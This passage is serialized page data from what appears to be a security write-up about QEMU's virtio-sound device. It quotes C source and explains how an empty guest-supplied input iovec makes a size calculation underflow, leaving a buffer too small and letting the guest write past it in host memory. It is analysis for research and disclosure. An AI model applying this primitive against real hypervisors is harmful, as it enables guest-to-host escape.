WITH_QEMU_LOCK_GUARD",{"type":21,"tag":153,"props":126353,"children":126354},{"style":160},[126355],{"type":26,"value":189},{"type":21,"tag":153,"props":126357,"children":126358},{"style":198},[126359],{"type":26,"value":1974},{"type":21,"tag":153,"props":126361,"children":126362},{"style":192},[126363],{"type":26,"value":38954},{"type":21,"tag":153,"props":126365,"children":126366},{"style":160},[126367],{"type":26,"value":2953},{"type":21,"tag":153,"props":126369,"children":126370},{"style":192},[126371],{"type":26,"value":126372},"queue_mutex",{"type":21,"tag":153,"props":126374,"children":126375},{"style":160},[126376],{"type":26,"value":2659},{"type":21,"tag":153,"props":126378,"children":126379},{"class":155,"line":3393},[126380,126385,126389,126394,126398,126402,126406,126411,126415,126419,126423,126428,126432],{"type":21,"tag":153,"props":126381,"children":126382},{"style":160},[126383],{"type":26,"value":126384},"            size ",{"type":21,"tag":153,"props":126386,"children":126387},{"style":198},[126388],{"type":26,"value":2367},{"type":21,"tag":153,"props":126390,"children":126391},{"style":181},[126392],{"type":26,"value":126393}," iov_size",{"type":21,"tag":153,"props":126395,"children":126396},{"style":160},[126397],{"type":26,"value":189},{"type":21,"tag":153,"props":126399,"children":126400},{"style":192},[126401],{"type":26,"value":54355},{"type":21,"tag":153,"props":126403,"children":126404},{"style":160},[126405],{"type":26,"value":2953},{"type":21,"tag":153,"props":126407,"children":126408},{"style":192},[126409],{"type":26,"value":126410},"in_sg",{"type":21,"tag":153,"props":126412,"children":126413},{"style":160},[126414],{"type":26,"value":1670},{"type":21,"tag":153,"props":126416,"children":126417},{"style":192},[126418],{"type":26,"value":54355},{"type":21,"tag":153,"props":126420,"children":126421},{"style":160},[126422],{"type":26,"value":2953},{"type":21,"tag":153,"props":126424,"children":126425},{"style":192},[126426],{"type":26,"value":126427},"in_num",{"type":21,"tag":153,"props":126429,"children":126430},{"style":160},[126431],{"type":26,"value":2362},{"type":21,"tag":153,"props":126433,"children":126434},{"style":198},[126435],{"type":26,"value":53152},{"type":21,"tag":153,"props":126437,"children":126438},{"class":155,"line":3405},[126439,126444,126449],{"type":21,"tag":153,"props":126440,"children":126441},{"style":170},[126442],{"type":26,"value":126443},"                sizeof",{"type":21,"tag":153,"props":126445,"children":126446},{"style":160},[126447],{"type":26,"value":126448},"(virtio_snd_pcm_status);",{"type":21,"tag":153,"props":126450,"children":126451},{"style":3050},[126452],{"type":26,"value":126453},"                  // [2]\n",{"type":21,"tag":153,"props":126455,"children":126456},{"class":155,"line":3427},[126457,126462,126466,126471,126475,126479,126484,126488],{"type":21,"tag":153,"props":126458,"children":126459},{"style":160},[126460],{"type":26,"value":126461},"            buffer ",{"type":21,"tag":153,"props":126463,"children":126464},{"style":198},[126465],{"type":26,"value":2367},{"type":21,"tag":153,"props":126467,"children":126468},{"style":181},[126469],{"type":26,"value":126470}," g_malloc0",{"type":21,"tag":153,"props":126472,"children":126473},{"style":160},[126474],{"type":26,"value":189},{"type":21,"tag":153,"props":126476,"children":126477},{"style":170},[126478],{"type":26,"value":57619},{"type":21,"tag":153,"props":126480,"children":126481},{"style":160},[126482],{"type":26,"value":126483},"(VirtIOSoundPCMBuffer) ",{"type":21,"tag":153,"props":126485,"children":126486},{"style":198},[126487],{"type":26,"value":4099},{"type":21,"tag":153,"props":126489,"children":126490},{"style":160},[126491],{"type":26,"value":126492}," size);\n",{"type":21,"tag":153,"props":126494,"children":126495},{"class":155,"line":3448},[126496,126501,126505,126509,126513],{"type":21,"tag":153,"props":126497,"children":126498},{"style":192},[126499],{"type":26,"value":126500},"            buffer",{"type":21,"tag":153,"props":126502,"children":126503},{"style":160},[126504],{"type":26,"value":2953},{"type":21,"tag":153,"props":126506,"children":126507},{"style":192},[126508],{"type":26,"value":54355},{"type":21,"tag":153,"props":126510,"children":126511},{"style":198},[126512],{"type":26,"value":255},{"type":21,"tag":153,"props":126514,"children":126515},{"style":160},[126516],{"type":26,"value":126517}," elem;\n",{"type":21,"tag":153,"props":126519,"children":126520},{"class":155,"line":3456},[126521,126525,126529,126533,126537],{"type":21,"tag":153,"props":126522,"children":126523},{"style":192},[126524],{"type":26,"value":126500},{"type":21,"tag":153,"props":126526,"children":126527},{"style":160},[126528],{"type":26,"value":2953},{"type":21,"tag":153,"props":126530,"children":126531},{"style":192},[126532],{"type":26,"value":126169},{"type":21,"tag":153,"props":126534,"children":126535},{"style":198},[126536],{"type":26,"value":255},{"type":21,"tag":153,"props":126538,"children":126539},{"style":160},[126540],{"type":26,"value":126541}," vq;\n",{"type":21,"tag":153,"props":126543,"children":126544},{"class":155,"line":3493},[126545,126549,126553,126558,126562,126566],{"type":21,"tag":153,"props":126546,"children":126547},{"style":192},[126548],{"type":26,"value":126500},{"type":21,"tag":153,"props":126550,"children":126551},{"style":160},[126552],{"type":26,"value":2953},{"type":21,"tag":153,"props":126554,"children":126555},{"style":192},[126556],{"type":26,"value":126557},"size",{"type":21,"tag":153,"props":126559,"children":126560},{"style":198},[126561],{"type":26,"value":255},{"type":21,"tag":153,"props":126563,"children":126564},{"style":300},[126565],{"type":26,"value":5799},{"type":21,"tag":153,"props":126567,"children":126568},{"style":160},[126569],{"type":26,"value":1759},{"type":21,"tag":153,"props":126571,"children":126572},{"class":155,"line":3509},[126573,126577,126581,126585,126589,126593],{"type":21,"tag":153,"props":126574,"children":126575},{"style":192},[126576],{"type":26,"value":126500},{"type":21,"tag":153,"props":126578,"children":126579},{"style":160},[126580],{"type":26,"value":2953},{"type":21,"tag":153,"props":126582,"children":126583},{"style":192},[126584],{"type":26,"value":16610},{"type":21,"tag":153,"props":126586,"children":126587},{"style":198},[126588],{"type":26,"value":255},{"type":21,"tag":153,"props":126590,"children":126591},{"style":300},[126592],{"type":26,"value":5799},{"type":21,"tag":153,"props":126594,"children":126595},{"style":160},[126596],{"type":26,"value":1759},{"type":21,"tag":153,"props":126598,"children":126599},{"class":155,"line":3517},[126600,126605,126609,126613,126617,126621,126626,126631],{"type":21,"tag":153,"props":126601,"children":126602},{"style":181},[126603],{"type":26,"value":126604},"            QSIMPLEQ_INSERT_TAIL",{"type":21,"tag":153,"props":126606,"children":126607},{"style":160},[126608],{"type":26,"value":189},{"type":21,"tag":153,"props":126610,"children":126611},{"style":198},[126612],{"type":26,"value":1974},{"type":21,"tag":153,"props":126614,"children":126615},{"style":192},[126616],{"type":26,"value":38954},{"type":21,"tag":153,"props":126618,"children":126619},{"style":160},[126620],{"type":26,"value":2953},{"type":21,"tag":153,"props":126622,"children":126623},{"style":192},[126624],{"type":26,"value":126625},"queue",{"type":21,"tag":153,"props":126627,"children":126628},{"style":160},[126629],{"type":26,"value":126630},", buffer, entry);",{"type":21,"tag":153,"props":126632,"children":126633},{"style":3050},[126634],{"type":26,"value":54920},{"type":21,"tag":153,"props":126636,"children":126637},{"class":155,"line":3526},[126638],{"type":21,"tag":153,"props":126639,"children":126640},{"style":160},[126641],{"type":26,"value":2765},{"type":21,"tag":153,"props":126643,"children":126644},{"class":155,"line":3607},[126645,126650],{"type":21,"tag":153,"props":126646,"children":126647},{"style":1751},[126648],{"type":26,"value":126649},"        continue",{"type":21,"tag":153,"props":126651,"children":126652},{"style":160},[126653],{"type":26,"value":1759},{"type":21,"tag":153,"props":126655,"children":126656},{"class":155,"line":3615},[126657],{"type":21,"tag":153,"props":126658,"children":126659},{"emptyLinePlaceholder":16},[126660],{"type":26,"value":759},{"type":21,"tag":153,"props":126662,"children":126663},{"class":155,"line":3629},[126664],{"type":21,"tag":153,"props":126665,"children":126666},{"style":160},[126667],{"type":26,"value":126336},{"type":21,"tag":153,"props":126669,"children":126670},{"class":155,"line":26297},[126671],{"type":21,"tag":153,"props":126672,"children":126673},{"style":160},[126674],{"type":26,"value":548},{"type":21,"tag":22,"props":126676,"children":126677},{},[126678,126680,126686,126688,126694,126696,126701,126702,126708],{"type":26,"value":126679},"At ",{"type":21,"tag":78,"props":126681,"children":126683},{"className":126682},[],[126684],{"type":26,"value":126685},"[1]",{"type":26,"value":126687},", a ",{"type":21,"tag":78,"props":126689,"children":126691},{"className":126690},[],[126692],{"type":26,"value":126693},"VirtQueueElement *elem",{"type":26,"value":126695}," is popped from the virtqueue. It contains the ",{"type":21,"tag":78,"props":126697,"children":126699},{"className":126698},[],[126700],{"type":26,"value":126410},{"type":26,"value":52},{"type":21,"tag":78,"props":126703,"children":126705},{"className":126704},[],[126706],{"type":26,"value":126707},"out_sg",{"type":26,"value":126709}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":21,"tag":22,"props":126711,"children":126712},{},[126713,126715,126721,126723,126729,126731,126737,126739,126745,126747,126753],{"type":26,"value":126714},"Further at ",{"type":21,"tag":78,"props":126716,"children":126718},{"className":126717},[],[126719],{"type":26,"value":126720},"[2]",{"type":26,"value":126722},", the device computes the size of the data buffer as ",{"type":21,"tag":78,"props":126724,"children":126726},{"className":126725},[],[126727],{"type":26,"value":126728},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":26,"value":126730},". That value is then used in the allocation: ",{"type":21,"tag":78,"props":126732,"children":126734},{"className":126733},[],[126735],{"type":26,"value":126736},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":26,"value":126738},". Finally, at ",{"type":21,"tag":78,"props":126740,"children":126742},{"className":126741},[],[126743],{"type":26,"value":126744},"[3]",{"type":26,"value":126746},", the newly allocated buffer is appended to the ",{"type":21,"tag":78,"props":126748,"children":126750},{"className":126749},[],[126751],{"type":26,"value":126752},"stream->queue",{"type":26,"value":126754}," linked list.",{"type":21,"tag":22,"props":126756,"children":126757},{},[126758,126760,126765,126767,126772,126774,126779,126781,126787],{"type":26,"value":126759},"Because both the ",{"type":21,"tag":78,"props":126761,"children":126763},{"className":126762},[],[126764],{"type":26,"value":126410},{"type":26,"value":126766}," iovec and the ",{"type":21,"tag":78,"props":126768,"children":126770},{"className":126769},[],[126771],{"type":26,"value":126427},{"type":26,"value":126773}," field are guest-controlled, and there is no check that the total ",{"type":21,"tag":78,"props":126775,"children":126777},{"className":126776},[],[126778],{"type":26,"value":126410},{"type":26,"value":126780}," size is at least ",{"type":21,"tag":78,"props":126782,"children":126784},{"className":126783},[],[126785],{"type":26,"value":126786},"sizeof(virtio_snd_pcm_status)",{"type":26,"value":126788},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":21,"tag":22,"props":126790,"children":126791},{},[126792,126794,126799,126801,126807,126809,126815,126817,126823],{"type":26,"value":126793},"From the guest driver, we can provide an empty ",{"type":21,"tag":78,"props":126795,"children":126797},{"className":126796},[],[126798],{"type":26,"value":126410},{"type":26,"value":126800}," iovec. In that case, the calculation becomes ",{"type":21,"tag":78,"props":126802,"children":126804},{"className":126803},[],[126805],{"type":26,"value":126806},"0 - sizeof(virtio_snd_pcm_status)",{"type":26,"value":126808},", so the allocation size effectively becomes ",{"type":21,"tag":78,"props":126810,"children":126812},{"className":126811},[],[126813],{"type":26,"value":126814},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":26,"value":126816},". Given the definition of ",{"type":21,"tag":78,"props":126818,"children":126820},{"className":126819},[],[126821],{"type":26,"value":126822},"VirtIOSoundPCMBuffer",{"type":26,"value":201},{"type":21,"tag":143,"props":126825,"children":126827},{"code":126826,"language":5896,"meta":7,"className":19212,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[126828],{"type":21,"tag":78,"props":126829,"children":126830},{"__ignoreMap":7},[126831,126843,126856,126871,126888,126900,126912,126920,126932,126952],{"type":21,"tag":153,"props":126832,"children":126833},{"class":155,"line":156},[126834,126838],{"type":21,"tag":153,"props":126835,"children":126836},{"style":170},[126837],{"type":26,"value":12123},{"type":21,"tag":153,"props":126839,"children":126840},{"style":160},[126841],{"type":26,"value":126842}," VirtIOSoundPCMBuffer {\n",{"type":21,"tag":153,"props":126844,"children":126845},{"class":155,"line":166},[126846,126851],{"type":21,"tag":153,"props":126847,"children":126848},{"style":181},[126849],{"type":26,"value":126850},"    QSIMPLEQ_ENTRY",{"type":21,"tag":153,"props":126852,"children":126853},{"style":160},[126854],{"type":26,"value":126855},"(VirtIOSoundPCMBuffer) entry;\n",{"type":21,"tag":153,"props":126857,"children":126858},{"class":155,"line":225},[126859,126863,126867],{"type":21,"tag":153,"props":126860,"children":126861},{"style":160},[126862],{"type":26,"value":126188},{"type":21,"tag":153,"props":126864,"children":126865},{"style":198},[126866],{"type":26,"value":313},{"type":21,"tag":153,"props":126868,"children":126869},{"style":160},[126870],{"type":26,"value":126197},{"type":21,"tag":153,"props":126872,"children":126873},{"class":155,"line":239},[126874,126879,126883],{"type":21,"tag":153,"props":126875,"children":126876},{"style":160},[126877],{"type":26,"value":126878},"    VirtQueue ",{"type":21,"tag":153,"props":126880,"children":126881},{"style":198},[126882],{"type":26,"value":313},{"type":21,"tag":153,"props":126884,"children":126885},{"style":160},[126886],{"type":26,"value":126887},"vq;\n",{"type":21,"tag":153,"props":126889,"children":126890},{"class":155,"line":382},[126891,126895],{"type":21,"tag":153,"props":126892,"children":126893},{"style":170},[126894],{"type":26,"value":19262},{"type":21,"tag":153,"props":126896,"children":126897},{"style":160},[126898],{"type":26,"value":126899}," size;\n",{"type":21,"tag":153,"props":126901,"children":126902},{"class":155,"line":501},[126903,126907],{"type":21,"tag":153,"props":126904,"children":126905},{"style":170},[126906],{"type":26,"value":57904},{"type":21,"tag":153,"props":126908,"children":126909},{"style":160},[126910],{"type":26,"value":126911}," offset;\n",{"type":21,"tag":153,"props":126913,"children":126914},{"class":155,"line":533},[126915],{"type":21,"tag":153,"props":126916,"children":126917},{"style":3050},[126918],{"type":26,"value":126919},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":21,"tag":153,"props":126921,"children":126922},{"class":155,"line":542},[126923,126927],{"type":21,"tag":153,"props":126924,"children":126925},{"style":170},[126926],{"type":26,"value":48762},{"type":21,"tag":153,"props":126928,"children":126929},{"style":160},[126930],{"type":26,"value":126931}," populated;\n",{"type":21,"tag":153,"props":126933,"children":126934},{"class":155,"line":762},[126935,126939,126943,126948],{"type":21,"tag":153,"props":126936,"children":126937},{"style":170},[126938],{"type":26,"value":60749},{"type":21,"tag":153,"props":126940,"children":126941},{"style":160},[126942],{"type":26,"value":696},{"type":21,"tag":153,"props":126944,"children":126945},{"style":170},[126946],{"type":26,"value":126947},"[]",{"type":21,"tag":153,"props":126949,"children":126950},{"style":160},[126951],{"type":26,"value":1759},{"type":21,"tag":153,"props":126953,"children":126954},{"class":155,"line":776},[126955],{"type":21,"tag":153,"props":126956,"children":126957},{"style":160},[126958],{"type":26,"value":19275},{"type":21,"tag":22,"props":126960,"children":126961},{},[126962,126964,126970,126972,126977,126979,126984,126986,126991,126993,126998,127000,127006],{"type":26,"value":126963},"That under-allocation removes the ",{"type":21,"tag":78,"props":126965,"children":126967},{"className":126966},[],[126968],{"type":26,"value":126969},"populated",{"type":26,"value":126971}," field along with the variable-sized ",{"type":21,"tag":78,"props":126973,"children":126975},{"className":126974},[],[126976],{"type":26,"value":195},{"type":26,"value":126978}," array. As the comment says, ",{"type":21,"tag":78,"props":126980,"children":126982},{"className":126981},[],[126983],{"type":26,"value":126969},{"type":26,"value":126985}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":21,"tag":78,"props":126987,"children":126989},{"className":126988},[],[126990],{"type":26,"value":3033},{"type":26,"value":126992},", the device believes data should be ",{"type":21,"tag":78,"props":126994,"children":126996},{"className":126995},[],[126997],{"type":26,"value":3033},{"type":26,"value":126999}," byte, while the actual allocation is ",{"type":21,"tag":78,"props":127001,"children":127003},{"className":127002},[],[127004],{"type":26,"value":127005},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":26,"value":355},{"type":21,"tag":21591,"props":127008,"children":127010},{"id":127009},"populating-data-buffers",[127011],{"type":26,"value":127012},"Populating Data Buffers",{"type":21,"tag":22,"props":127014,"children":127015},{},[127016],{"type":26,"value":127017},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":21,"tag":143,"props":127019,"children":127021},{"code":127020,"language":5896,"meta":7,"className":19212,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[127022],{"type":21,"tag":78,"props":127023,"children":127024},{"__ignoreMap":7},[127025,127032,127040,127047,127055,127063,127070,127119,127126,127152,127169,127181,127188,127220,127265,127305,127312,127320,127327,127352,127380,127404,127412,127424,127462,127475,127487,127494,127540,127577,127620,127641,127661,127681,127692,127699,127722,127738,127746,127753,127760,127767],{"type":21,"tag":153,"props":127026,"children":127027},{"class":155,"line":156},[127028],{"type":21,"tag":153,"props":127029,"children":127030},{"style":3050},[127031],{"type":26,"value":51656},{"type":21,"tag":153,"props":127033,"children":127034},{"class":155,"line":166},[127035],{"type":21,"tag":153,"props":127036,"children":127037},{"style":3050},[127038],{"type":26,"value":127039}," * AUD_* input callback.\n",{"type":21,"tag":153,"props":127041,"children":127042},{"class":155,"line":225},[127043],{"type":21,"tag":153,"props":127044,"children":127045},{"style":3050},[127046],{"type":26,"value":22185},{"type":21,"tag":153,"props":127048,"children":127049},{"class":155,"line":239},[127050],{"type":21,"tag":153,"props":127051,"children":127052},{"style":3050},[127053],{"type":26,"value":127054}," * @data: VirtIOSoundPCMStream stream\n",{"type":21,"tag":153,"props":127056,"children":127057},{"class":155,"line":382},[127058],{"type":21,"tag":153,"props":127059,"children":127060},{"style":3050},[127061],{"type":26,"value":127062}," * @available: number of bytes that can be read with AUD_read()\n",{"type":21,"tag":153,"props":127064,"children":127065},{"class":155,"line":501},[127066],{"type":21,"tag":153,"props":127067,"children":127068},{"style":3050},[127069],{"type":26,"value":126125},{"type":21,"tag":153,"props":127071,"children":127072},{"class":155,"line":533},[127073,127077,127081,127086,127090,127094,127098,127102,127106,127110,127115],{"type":21,"tag":153,"props":127074,"children":127075},{"style":170},[127076],{"type":26,"value":53335},{"type":21,"tag":153,"props":127078,"children":127079},{"style":170},[127080],{"type":26,"value":53340},{"type":21,"tag":153,"props":127082,"children":127083},{"style":181},[127084],{"type":26,"value":127085}," virtio_snd_pcm_in_cb",{"type":21,"tag":153,"props":127087,"children":127088},{"style":160},[127089],{"type":26,"value":189},{"type":21,"tag":153,"props":127091,"children":127092},{"style":170},[127093],{"type":26,"value":53918},{"type":21,"tag":153,"props":127095,"children":127096},{"style":198},[127097],{"type":26,"value":5080},{"type":21,"tag":153,"props":127099,"children":127100},{"style":192},[127101],{"type":26,"value":195},{"type":21,"tag":153,"props":127103,"children":127104},{"style":160},[127105],{"type":26,"value":1670},{"type":21,"tag":153,"props":127107,"children":127108},{"style":170},[127109],{"type":26,"value":21743},{"type":21,"tag":153,"props":127111,"children":127112},{"style":192},[127113],{"type":26,"value":127114}," available",{"type":21,"tag":153,"props":127116,"children":127117},{"style":160},[127118],{"type":26,"value":5909},{"type":21,"tag":153,"props":127120,"children":127121},{"class":155,"line":542},[127122],{"type":21,"tag":153,"props":127123,"children":127124},{"style":160},[127125],{"type":26,"value":13601},{"type":21,"tag":153,"props":127127,"children":127128},{"class":155,"line":762},[127129,127134,127138,127143,127147],{"type":21,"tag":153,"props":127130,"children":127131},{"style":160},[127132],{"type":26,"value":127133},"    VirtIOSoundPCMStream ",{"type":21,"tag":153,"props":127135,"children":127136},{"style":198},[127137],{"type":26,"value":313},{"type":21,"tag":153,"props":127139,"children":127140},{"style":160},[127141],{"type":26,"value":127142},"stream ",{"type":21,"tag":153,"props":127144,"children":127145},{"style":198},[127146],{"type":26,"value":2367},{"type":21,"tag":153,"props":127148,"children":127149},{"style":160},[127150],{"type":26,"value":127151}," data;\n",{"type":21,"tag":153,"props":127153,"children":127154},{"class":155,"line":776},[127155,127160,127164],{"type":21,"tag":153,"props":127156,"children":127157},{"style":160},[127158],{"type":26,"value":127159},"    VirtIOSoundPCMBuffer ",{"type":21,"tag":153,"props":127161,"children":127162},{"style":198},[127163],{"type":26,"value":313},{"type":21,"tag":153,"props":127165,"children":127166},{"style":160},[127167],{"type":26,"value":127168},"buffer;\n",{"type":21,"tag":153,"props":127170,"children":127171},{"class":155,"line":795},[127172,127176],{"type":21,"tag":153,"props":127173,"children":127174},{"style":170},[127175],{"type":26,"value":19262},{"type":21,"tag":153,"props":127177,"children":127178},{"style":160},[127179],{"type":26,"value":127180}," size, max_size;\n",{"type":21,"tag":153,"props":127182,"children":127183},{"class":155,"line":808},[127184],{"type":21,"tag":153,"props":127185,"children":127186},{"emptyLinePlaceholder":16},[127187],{"type":26,"value":759},{"type":21,"tag":153,"props":127189,"children":127190},{"class":155,"line":820},[127191,127196,127200,127204,127208,127212,127216],{"type":21,"tag":153,"props":127192,"children":127193},{"style":181},[127194],{"type":26,"value":127195},"    WITH_QEMU_LOCK_GUARD",{"type":21,"tag":153,"props":127197,"children":127198},{"style":160},[127199],{"type":26,"value":189},{"type":21,"tag":153,"props":127201,"children":127202},{"style":198},[127203],{"type":26,"value":1974},{"type":21,"tag":153,"props":127205,"children":127206},{"style":192},[127207],{"type":26,"value":38954},{"type":21,"tag":153,"props":127209,"children":127210},{"style":160},[127211],{"type":26,"value":2953},{"type":21,"tag":153,"props":127213,"children":127214},{"style":192},[127215],{"type":26,"value":126372},{"type":21,"tag":153,"props":127217,"children":127218},{"style":160},[127219],{"type":26,"value":2659},{"type":21,"tag":153,"props":127221,"children":127222},{"class":155,"line":842},[127223,127228,127232,127236,127241,127245,127249,127253,127257,127261],{"type":21,"tag":153,"props":127224,"children":127225},{"style":1751},[127226],{"type":26,"value":127227},"        while",{"type":21,"tag":153,"props":127229,"children":127230},{"style":160},[127231],{"type":26,"value":5820},{"type":21,"tag":153,"props":127233,"children":127234},{"style":198},[127235],{"type":26,"value":23315},{"type":21,"tag":153,"props":127237,"children":127238},{"style":181},[127239],{"type":26,"value":127240},"QSIMPLEQ_EMPTY",{"type":21,"tag":153,"props":127242,"children":127243},{"style":160},[127244],{"type":26,"value":189},{"type":21,"tag":153,"props":127246,"children":127247},{"style":198},[127248],{"type":26,"value":1974},{"type":21,"tag":153,"props":127250,"children":127251},{"style":192},[127252],{"type":26,"value":38954},{"type":21,"tag":153,"props":127254,"children":127255},{"style":160},[127256],{"type":26,"value":2953},{"type":21,"tag":153,"props":127258,"children":127259},{"style":192},[127260],{"type":26,"value":126625},{"type":21,"tag":153,"props":127262,"children":127263},{"style":160},[127264],{"type":26,"value":37887},{"type":21,"tag":153,"props":127266,"children":127267},{"class":155,"line":3204},[127268,127272,127276,127281,127285,127289,127293,127297,127301],{"type":21,"tag":153,"props":127269,"children":127270},{"style":160},[127271],{"type":26,"value":126461},{"type":21,"tag":153,"props":127273,"children":127274},{"style":198},[127275],{"type":26,"value":2367},{"type":21,"tag":153,"props":127277,"children":127278},{"style":181},[127279],{"type":26,"value":127280}," QSIMPLEQ_FIRST",{"type":21,"tag":153,"props":127282,"children":127283},{"style":160},[127284],{"type":26,"value":189},{"type":21,"tag":153,"props":127286,"children":127287},{"style":198},[127288],{"type":26,"value":1974},{"type":21,"tag":153,"props":127290,"children":127291},{"style":192},[127292],{"type":26,"value":38954},{"type":21,"tag":153,"props":127294,"children":127295},{"style":160},[127296],{"type":26,"value":2953},{"type":21,"tag":153,"props":127298,"children":127299},{"style":192},[127300],{"type":26,"value":126625},{"type":21,"tag":153,"props":127302,"children":127303},{"style":160},[127304],{"type":26,"value":530},{"type":21,"tag":153,"props":127306,"children":127307},{"class":155,"line":3230},[127308],{"type":21,"tag":153,"props":127309,"children":127310},{"emptyLinePlaceholder":16},[127311],{"type":26,"value":759},{"type":21,"tag":153,"props":127313,"children":127314},{"class":155,"line":3239},[127315],{"type":21,"tag":153,"props":127316,"children":127317},{"style":160},[127318],{"type":26,"value":127319},"            [...]\n",{"type":21,"tag":153,"props":127321,"children":127322},{"class":155,"line":3253},[127323],{"type":21,"tag":153,"props":127324,"children":127325},{"emptyLinePlaceholder":16},[127326],{"type":26,"value":759},{"type":21,"tag":153,"props":127328,"children":127329},{"class":155,"line":3301},[127330,127335,127339,127343,127347],{"type":21,"tag":153,"props":127331,"children":127332},{"style":160},[127333],{"type":26,"value":127334},"            max_size ",{"type":21,"tag":153,"props":127336,"children":127337},{"style":198},[127338],{"type":26,"value":2367},{"type":21,"tag":153,"props":127340,"children":127341},{"style":181},[127342],{"type":26,"value":126393},{"type":21,"tag":153,"props":127344,"children":127345},{"style":160},[127346],{"type":26,"value":189},{"type":21,"tag":153,"props":127348,"children":127349},{"style":3050},[127350],{"type":26,"value":127351},"                    // [1]\n",{"type":21,"tag":153,"props":127353,"children":127354},{"class":155,"line":3346},[127355,127360,127364,127368,127372,127376],{"type":21,"tag":153,"props":127356,"children":127357},{"style":192},[127358],{"type":26,"value":127359},"                buffer",{"type":21,"tag":153,"props":127361,"children":127362},{"style":160},[127363],{"type":26,"value":2953},{"type":21,"tag":153,"props":127365,"children":127366},{"style":192},[127367],{"type":26,"value":54355},{"type":21,"tag":153,"props":127369,"children":127370},{"style":160},[127371],{"type":26,"value":2953},{"type":21,"tag":153,"props":127373,"children":127374},{"style":192},[127375],{"type":26,"value":126410},{"type":21,"tag":153,"props":127377,"children":127378},{"style":160},[127379],{"type":26,"value":792},{"type":21,"tag":153,"props":127381,"children":127382},{"class":155,"line":3355},[127383,127387,127391,127395,127399],{"type":21,"tag":153,"props":127384,"children":127385},{"style":192},[127386],{"type":26,"value":127359},{"type":21,"tag":153,"props":127388,"children":127389},{"style":160},[127390],{"type":26,"value":2953},{"type":21,"tag":153,"props":127392,"children":127393},{"style":192},[127394],{"type":26,"value":54355},{"type":21,"tag":153,"props":127396,"children":127397},{"style":160},[127398],{"type":26,"value":2953},{"type":21,"tag":153,"props":127400,"children":127401},{"style":192},[127402],{"type":26,"value":127403},"in_num\n",{"type":21,"tag":153,"props":127405,"children":127406},{"class":155,"line":3364},[127407],{"type":21,"tag":153,"props":127408,"children":127409},{"style":160},[127410],{"type":26,"value":127411},"            );\n",{"type":21,"tag":153,"props":127413,"children":127414},{"class":155,"line":3376},[127415,127420],{"type":21,"tag":153,"props":127416,"children":127417},{"style":1751},[127418],{"type":26,"value":127419},"            for",{"type":21,"tag":153,"props":127421,"children":127422},{"style":160},[127423],{"type":26,"value":126223},{"type":21,"tag":153,"props":127425,"children":127426},{"class":155,"line":3393},[127427,127431,127435,127440,127444,127448,127452,127457],{"type":21,"tag":153,"props":127428,"children":127429},{"style":1751},[127430],{"type":26,"value":105817},{"type":21,"tag":153,"props":127432,"children":127433},{"style":160},[127434],{"type":26,"value":5820},{"type":21,"tag":153,"props":127436,"children":127437},{"style":192},[127438],{"type":26,"value":127439},"buffer",{"type":21,"tag":153,"props":127441,"children":127442},{"style":160},[127443],{"type":26,"value":2953},{"type":21,"tag":153,"props":127445,"children":127446},{"style":192},[127447],{"type":26,"value":126557},{"type":21,"tag":153,"props":127449,"children":127450},{"style":198},[127451],{"type":26,"value":11028},{"type":21,"tag":153,"props":127453,"children":127454},{"style":160},[127455],{"type":26,"value":127456}," max_size) {",{"type":21,"tag":153,"props":127458,"children":127459},{"style":3050},[127460],{"type":26,"value":127461},"     // [2]\n",{"type":21,"tag":153,"props":127463,"children":127464},{"class":155,"line":3405},[127465,127470],{"type":21,"tag":153,"props":127466,"children":127467},{"style":181},[127468],{"type":26,"value":127469},"                    return_rx_buffer",{"type":21,"tag":153,"props":127471,"children":127472},{"style":160},[127473],{"type":26,"value":127474},"(stream, buffer);\n",{"type":21,"tag":153,"props":127476,"children":127477},{"class":155,"line":3427},[127478,127483],{"type":21,"tag":153,"props":127479,"children":127480},{"style":1751},[127481],{"type":26,"value":127482},"                    break",{"type":21,"tag":153,"props":127484,"children":127485},{"style":160},[127486],{"type":26,"value":1759},{"type":21,"tag":153,"props":127488,"children":127489},{"class":155,"line":3448},[127490],{"type":21,"tag":153,"props":127491,"children":127492},{"style":160},[127493],{"type":26,"value":73366},{"type":21,"tag":153,"props":127495,"children":127496},{"class":155,"line":3456},[127497,127502,127506,127511,127515,127519,127523,127528,127532,127536],{"type":21,"tag":153,"props":127498,"children":127499},{"style":160},[127500],{"type":26,"value":127501},"                size ",{"type":21,"tag":153,"props":127503,"children":127504},{"style":198},[127505],{"type":26,"value":2367},{"type":21,"tag":153,"props":127507,"children":127508},{"style":181},[127509],{"type":26,"value":127510}," 